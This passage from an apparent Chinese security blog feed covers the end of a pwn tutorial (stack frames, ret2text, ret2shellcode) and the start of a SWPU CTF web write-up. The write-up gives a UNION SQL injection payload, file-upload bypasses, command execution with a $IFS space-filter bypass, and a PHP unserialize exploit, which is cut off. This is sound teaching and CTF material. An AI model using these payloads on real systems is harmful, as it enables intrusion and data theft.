  src="/8beba0/1_18.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="720" height="436"
/>
</p>
<h5 id="栈帧结构概览">栈帧结构概览<a class="anchor" href="#栈帧结构概览">#</a></h5>
<p><img
  src="/8beba0/1_19.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1093" height="438"
/>
</p>
<ul>
<li>函数状态主要涉及三个寄存器 —— esp，ebp，eip。esp 用来存储函数调用栈的栈顶地址，在压栈和退栈时发生变化。ebp 用来存储当前函数状态的基地址，在函数运行时不变，可以用来索引确定函数参数或局部变量的位置。eip 用来存储即将执行的程序指令的地址，cpu 依照 eip 的存储内容读取指令并执行，eip 随之指向相邻的下一条指令，如此反复，程序就得以连续执行指令。</li>
<li>下面让我们来看看发生函数调用时，栈顶函数状态以及上述寄存器的变化。变化的核心任务是将调用函数（caller）的状态保存起来，同时创建被调用函数（callee）的状态。</li>
<li>首先将被调用函数（callee）的参数按照逆序依次压入栈内。如果被调用函数（callee）不需要参数，则没有这一步骤。这些参数仍会保存在调用函数（caller）的函数状态内，之后压入栈内的数据都会作为被调用函数（callee）的函数状态来保存。</li>
</ul>
<p>将被调用函数的参数压入栈内<img src="./1_20.webp"  /></p>
<ul>
<li>然后将调用函数（caller）进行调用之后的下一条指令地址作为返回地址压入栈内。这样调用函数（caller）的 eip（指令）信息得以保存。</li>
</ul>
<p>将被调用函数的返回地址压入栈内
<img
  src="/8beba0/1_21.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="488" height="440"
/>
</p>
<ul>
<li>再将当前的ebp 寄存器的值（也就是调用函数的基地址）压入栈内，并将 ebp 寄存器的值更新为当前栈顶的地址。这样调用函数（caller）的 ebp（基地址）信息得以保存。同时，ebp 被更新为被调用函数（callee）的基地址。</li>
</ul>
<p>将调用函数的基地址（ebp）压入栈内，并将当前栈顶地址传到 ebp 寄存器内
<img
  src="/8beba0/1_22.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="489" height="491"
/>
</p>
<ul>
<li>再之后是将被调用函数（callee）的局部变量等数据压入栈内。</li>
</ul>
<p>将被调用函数的局部变量压入栈内
<img
  src="/8beba0/1_23.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="450" height="513"
/>
</p>
<ul>
<li>在压栈的过程中，esp 寄存器的值不断减小（对应于栈从内存高地址向低地址生长）。压入栈内的数据包括调用参数、返回地址、调用函数的基地址，以及局部变量，其中调用参数以外的数据共同构成了被调用函数（callee）的状态。在发生调用时，程序还会将被调用函数（callee）的指令地址存到 eip 寄存器内，这样程序就可以依次执行被调用函数的指令了。</li>
<li>看过了函数调用发生时的情况，就不难理解函数调用结束时的变化。变化的核心任务是丢弃被调用函数（callee）的状态，并将栈顶恢复为调用函数（caller）的状态。</li>
<li>首先被调用函数的局部变量会从栈内直接弹出，栈顶会指向被调用函数（callee）的基地址。</li>
</ul>
<p>将被调用函数的局部变量弹出栈外
<img
  src="/8beba0/1_24.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="480" height="475"
/>
</p>
<ul>
<li>然后将基地址内存储的调用函数（caller）的基地址从栈内弹出，并存到 ebp 寄存器内。这样调用函数（caller）的 ebp（基地址）信息得以恢复。此时栈顶会指向返回地址。</li>
</ul>
<p>将调用函数（caller）的基地址（ebp）弹出栈外，并存到 ebp 寄存器内<img
  src="/8beba0/1_25.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="490" height="447"
/>
</p>
<ul>
<li>再将返回地址从栈内弹出，并存到 eip 寄存器内。这样调用函数（caller）的 eip（指令）信息得以恢复。</li>
<li>至此调用函数（caller）的函数状态就全部恢复了，之后就是继续执行调用函数的指令了。</li>
</ul>
<p>将被调用函数的返回地址弹出栈外，并存到 eip 寄存器内
<img
  src="/8beba0/1_26.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="482" height="398"
/>
</p>
<h5 id="函数调用栈的工作方式cdecl">函数调用栈的工作方式（cdecl）<a class="anchor" href="#函数调用栈的工作方式cdecl">#</a></h5>
<ul>
<li>x86
<ul>
<li>使用栈来传递参数</li>
<li>使用 eax 存放返回值</li>
</ul>
</li>
<li>amd64
<ul>
<li>前6个参数依次存放于 rdi、rsi、rdx、rcx、r8、r9 寄存器中</li>
<li>第7个以后的参数存放于栈中</li>
</ul>
</li>
</ul>
<p><img
  src="/8beba0/1_27.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1135" height="547"
/>
</p>
<p>函数调用前，EBP的值入栈，ESP存储的是栈顶地址。然后ESP的值传给EBP，函数被调用，此时ESP一直指向栈顶。函数调用结束后，EBP将值传回ESP，EBP跳转到父函数的栈底，ESP又指向了栈顶地址。EIP指向下一条指令，每执行一次指令，EIP的指向都会改变。</p>
<h4 id="ret2text">ret2text<a class="anchor" href="#ret2text">#</a></h4>
<ul>
<li>介绍完背景知识，就可以继续回归栈溢出攻击的主题了。当函数正在执行内部指令的过程中我们无法拿到程序的控制权，只有在发生函数调用或者结束函数调用时，程序的控制权会在函数状态之间发生跳转，这时才可以通过修改函数状态来实现攻击。而控制程序执行指令最关键的寄存器就是 eip，所以我们的目标就是让 eip 载入攻击指令的地址。</li>
<li>先来看看函数调用结束时，如果要让 eip 指向攻击指令，需要哪些准备？首先，在退栈过程中，返回地址会被传给 eip，所以我们只需要让溢出数据用攻击指令的地址来覆盖返回地址就可以了。其次，我们可以在溢出数据内包含一段攻击指令，也可以在内存其他位置寻找可用的攻击指令。</li>
</ul>
<p><img
  src="/8beba0/1_28.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="488" height="458"
/>
</p>
<h5 id="缓冲区溢出buffer-overflow">缓冲区溢出（Buffer overflow）<a class="anchor" href="#缓冲区溢出buffer-overflow">#</a></h5>
<p>本质是向定长的缓冲区中写入了超长的数据，造成超出的数据覆写了合法内存区域</p>
<ul>
<li>栈溢出（Stack overflow）
<ul>
<li>最常见、漏洞比例最高、危害最大的二进制漏洞</li>
<li>在 CTF PWN 中往往是漏洞利用的基础</li>
</ul>
</li>
<li>堆溢出（Heap overflow）
<ul>
<li>堆管理器复杂，利用花样繁多</li>
<li>CTF PWN 中的常见题型</li>
</ul>
</li>
<li>Data段溢出
<ul>
<li>攻击效果依赖于 Data段 上存放了何种控制数据</li>
</ul>
</li>
</ul>
<p><img
  src="/8beba0/1_29.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="759" height="474"
/>
</p>
<ul>
<li>篡改栈帧上的返回地址为程序中已有的后门函数</li>
</ul>
<p><img
  src="/8beba0/1_30.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="581" height="698"
/>
</p>
<p>例子：</p>
<p><img
  src="/8beba0/1_31.webp"
  alt="checksec"
  class="zoomable"
  loading="lazy"
  decoding="async" width="665" height="153"
/>
</p>
<p><img
  src="/8beba0/1_32.webp"
  alt="main"
  class="zoomable"
  loading="lazy"
  decoding="async" width="616" height="186"
/>
</p>
<p><img
  src="/8beba0/1_33.webp"
  alt="vulnerable"
  class="zoomable"
  loading="lazy"
  decoding="async" width="437" height="146"
/>
</p>
<p><img
  src="/8beba0/1_34.webp"
  alt="get_shell"
  class="zoomable"
  loading="lazy"
  decoding="async" width="215" height="106"
/>
</p>
<p><img
  src="/8beba0/1_35.webp"
  alt="gdb内输入8个A查看栈"
  class="zoomable"
  loading="lazy"
  decoding="async" width="692" height="170"
/>
</p>
<p>这道题，那么多截图，也就看的很清晰了，main函数里俩puts没啥漏洞，但是留了一个vulnerable函数，进入查看，定义了大小为8的数组，但是gets可以输入任何长度的数据，这里我们将数组到ebp之间都填满，这里其实就包含了数组空间，再把ebp寄存器填满，后满紧跟的就是返回地址空间，将返回地址空间里填入后门函数的地址就好。</p>
<p><img
  src="/8beba0/1_36.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1007" height="416"
/>
</p>
<p>上图是我的个人理解</p>
<h4 id="ret2shellcode">ret2shellcode<a class="anchor" href="#ret2shellcode">#</a></h4>
<ul>
<li>篡改栈帧上的返回地址为攻击者手动传入的 shellcode 所在缓冲区地址</li>
<li>初期往往将 shellcode 直接写入栈缓冲区</li>
<li>目前由于 the NX bits 保护措施的开启，栈缓冲区不可执行，故当下的常用手段变为向 bss 缓冲区写入 shellcode 或向堆缓冲区写入 shellcode 并使用 mprotect 赋予其可执行权限</li>
</ul>
<p><img
  src="/8beba0/1_37.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="512" height="633"
/>
</p>
<p>例子：</p>
<p><img
  src="/8beba0/1_38.webp"
  alt="checksec"
  class="zoomable"
  loading="lazy"
  decoding="async" width="319" height="119"
/>
</p>
<p><img
  src="/8beba0/1_39.webp"
  alt="main"
  class="zoomable"
  loading="lazy"
  decoding="async" width="613" height="246"
/>
</p>
<p><img
  src="/8beba0/1_40.webp"
  alt="buf2地址"
  class="zoomable"
  loading="lazy"
  decoding="async" width="719" height="103"
/>
</p>
<p><img
  src="/8beba0/1_41.webp"
  alt="段权限"
  class="zoomable"
  loading="lazy"
  decoding="async" width="1315" height="332"
/>
</p>
<p><img
  src="/8beba0/1_42.webp"
  alt="栈内存"
  class="zoomable"
  loading="lazy"
  decoding="async" width="1160" height="702"
/>
</p>
<p>由此可以看出，保护全关，目标机器可能开了ASLR，题目也是让我们调用shellcode，main里将s复制到buf2，显然可以造成溢出，buf2所在段为.bss，查看段权限，此段拥有rwx权限，那我们就可以生成shellcode，以及足够溢出的字符，再加上buf2的地址即可。为什么要这样构造payload？因为在s中输入数据后，即使复制到了buf2，程序也只是将数据复制一份过去而已，并没有运行buf2代码，程序仍然在main里运行着，所以在s里溢出，将跳转位置覆写为buf2地址，这样程序就跳转到了buf2，并且往下执行shellcode。</p>
<p><img
  src="/8beba0/1_43.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="639" height="289"
/>
</p>
<p>有没有发现我换了终端？<del>没错，同一道题，Kali和Ubuntu在查看段权限那里显示不一致。Kali显示没有rwx权限，exp也运行错误，但是Ubuntu显示.bss段有rwx权限，而且可以正确运行exp，那我只能抛弃Kali做题，Ubuntu兼容确实好。</del></p>
<blockquote>
<p>后记（我又重新学pwn了）：pwndbg里面用<code>vmmap</code>发现，buf2所在的bss段并没有执行权限。原因在更新后的CTFwiki里解释了：</p>
<blockquote>
<p>需要注意的是，在新版内核当中引入了较为激进的保护策略，程序中通常不再默认有同时具有可写与可执行的段，这使得传统的 ret2shellcode 手法不再能直接完成利用。</p>
<p>需要注意的是，你应当在内核版本较老的环境中进行实验（如 Ubuntu 18.04 或更老版本）。</p>
<p>这里我们以通过mprotect()动态修改过内存页权限的 ret2shellcode 为例，需要注意的是，这样我们就可以在例如 Ubuntu-22.04 这样的现代操作系统中完成这个实验辣~。</p>
</blockquote>
<p>这里要么换环境，要么用ROP</p>
</blockquote>
<p>今天也算是对之前野路子学Pwn的归纳总结，以前一直是直接做题，不会就看wp，百度，看博客，各种渠道去解疑，然后遇到啥学啥，导致很多底层原理很混乱，这篇文章是一个很好的梳理，后面会继续更新的！</p>
<p>还有一些保护措施，编译，数据结构上的细节没有写到，后面涉及到会继续补充！</p>
]]></content:encoded><h:img src="https://h4cker.zip/8beba0/Pwn%21Pwn%21Pwn%21.webp"/><enclosure url="https://h4cker.zip/8beba0/Pwn%21Pwn%21Pwn%21.webp"/><category>Pwn</category><category>栈溢出</category><category>ret2text</category><category>ret2shellcode</category></item><item><title>SWPU新生赛WriteUp</title><link>https://h4cker.zip/077813/</link><pubDate>Sat, 09 Oct 2021 14:26:39 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/077813/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>一个线上赛，这个NSSCTF最爽的就是没有靶机操作的一分钟冷却，10.11比赛结束，但是我还要看看工控，所以不打这个比赛了，先把wp写了，pwn入门真TM艰难</p>
<h2 id="web">WEB<a class="anchor" href="#web">#</a></h2>
<blockquote>
<p>前面送分题，中间的也是基础题，后面搜知识点现学现用，最后俩RCE实在做不出来</p>
</blockquote>
<p><img
  src="/077813/swpu_web.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1596" height="1334"
/>
</p>
<h3 id="gift_f12">gift_F12<a class="anchor" href="#gift_f12">#</a></h3>
<p>藏在了JS代码里，我还以为要改时间，歌还不错</p>
<p><img
  src="/077813/swpu_gift_F12.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="709" height="250"
/>
</p>
<h3 id="caidao">caidao<a class="anchor" href="#caidao">#</a></h3>
<p><img
  src="/077813/swpu_caidao.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="625" height="213"
/>
</p>
<p>太直白了，但我偏用蚁剑</p>
<h3 id="jicao">jicao<a class="anchor" href="#jicao">#</a></h3>
<p>基操</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln">1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="nx">highlight_file</span><span class="p">(</span><span class="s1">&#39;index.php&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="k">include</span><span class="p">(</span><span class="s2">&#34;flag.php&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="nv">$id</span><span class="o">=</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;id&#39;</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="nv">$json</span><span class="o">=</span><span class="nx">json_decode</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;json&#39;</span><span class="p">],</span><span class="k">true</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nv">$id</span><span class="o">==</span><span class="s2">&#34;wllmNB&#34;</span><span class="o">&amp;&amp;</span><span class="nv">$json</span><span class="p">[</span><span class="s1">&#39;x&#39;</span><span class="p">]</span><span class="o">==</span><span class="s2">&#34;wllm&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="p">{</span><span class="k">echo</span> <span class="nv">$flag</span><span class="p">;}</span>
</span></span><span class="line"><span class="ln">8</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>Payload:<code>GET: ?json={&quot;x&quot;:&quot;wllm&quot;}</code> <code>POST: id=wllmNB</code></p>
<h3 id="do_you_know_http">Do_you_know_http<a class="anchor" href="#do_you_know_http">#</a></h3>
<p>BP改包后，他出现success，要我自己跳转，不如HackBar<img
  src="/077813/swpu_Do_you_know_http.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1693" height="645"
/>
</p>
<h3 id="easy_md5">easy_md5<a class="anchor" href="#easy_md5">#</a></h3>
<p>没啥说的</p>
<p><img
  src="/077813/swpu_easy_md5.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="702" height="755"
/>
</p>
<h3 id="easy_sql">easy_sql<a class="anchor" href="#easy_sql">#</a></h3>
<p>杰哥？入门sql</p>
<p>Payload: <code>?wllm=-1' union select 1,(select group_concat(flag) from test_db.test_tb),3--+</code></p>
<h3 id="easyupload10">easyupload1.0<a class="anchor" href="#easyupload10">#</a></h3>
<p>抓包改类型。经典image/jpeg，这题flag在环境变量$FLAG里</p>
<h3 id="easyupload20">easyupload2.0<a class="anchor" href="#easyupload20">#</a></h3>
<p>后缀改成phtml，类型image/jpeg，flag在上级目录</p>
<h3 id="easyrce">easyrce<a class="anchor" href="#easyrce">#</a></h3>
<p>先system(&rsquo;ls /&rsquo;);知道了flag文件名再cat</p>
<p><img
  src="/077813/swpu_easyrce.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="913" height="444"
/>
</p>
<h3 id="babyrce">babyrce<a class="anchor" href="#babyrce">#</a></h3>
<p>Cookie添加admin=1，提示rasalghul.php，进入页面过滤了空格，用$IFS代替，先`ls$IFS/`看文件，再cat</p>
<p><img
  src="/077813/swpu_babyrce.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="923" height="510"
/>
</p>
<p>送分题结束了</p>
<h3 id="ez_unserialize">ez_unserialize<a class="anchor" href="#ez_unserialize">#</a></h3>
<p><img
  src="/077813/swpu_ez_unserialize_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1113" height="691"
/>
</p>
<p>注释里是robots协议的格式，直接去robots看看，提示了/cl45s.php</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="nx">error_reporting</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="nx">show_source</span><span class="p">(</span><span class="s2">&#34;cl45s.php&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="k">class</span> <span class="nc">wllm</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="k">public</span> <span class="nv">$admin</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="k">public</span> <span class="nv">$passwd</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">admin</span> <span class="o">=</span><span class="s2">&#34;user&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span> <span class="o">=</span> <span class="s2">&#34;123456&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl">        <span class="k">public</span> <span class="k">function</span> <span class="fm">__destruct</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">admin</span> <span class="o">===</span> <span class="s2">&#34;admin&#34;</span> <span class="o">&amp;&amp;</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span> <span class="o">===</span> <span class="s2">&#34;ctf&#34;</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">            <span class="k">include</span><span class="p">(</span><span class="s2">&#34;flag.php&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">            <span class="k">echo</span> <span class="nv">$flag</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">        <span class="p">}</span><span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">            <span class="k">echo</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">admin</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">            <span class="k">echo</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">            <span class="k">echo</span> <span class="s2">&#34;Just a bit more!&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">
</span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="nv">$p</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;p&#39;</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="nx">unserialize</span><span class="p">(</span><span class="nv">$p</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">
</span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>简单反序列化，都不是pop链</p>
<p>思路1：就是生成对象，触发<code>__construct()</code>，它会初始化属性，然后我们之后赋值即可，销毁对象触发<code>__destruct()</code>,注意，销毁后不能序列化此对象了，所以我们需要在销毁前把他复制给另一个对象</p>
<p>exp：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="k">class</span> <span class="nc">wllm</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">    <span class="k">public</span> <span class="nv">$admin</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="k">public</span> <span class="nv">$passwd</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="nv">$a</span><span class="o">=</span><span class="k">new</span> <span class="nx">wllm</span><span class="p">();</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="nv">$a</span><span class="o">-&gt;</span><span class="na">admin</span><span class="o">=</span><span class="s2">&#34;admin&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="nv">$a</span><span class="o">-&gt;</span><span class="na">passwd</span><span class="o">=</span><span class="s2">&#34;ctf&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="nv">$b</span><span class="o">=</span><span class="nv">$a</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="nx">unset</span><span class="p">(</span><span class="nv">$a</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="k">echo</span><span class="p">(</span><span class="nx">serialize</span><span class="p">(</span><span class="nv">$b</span><span class="p">));</span>
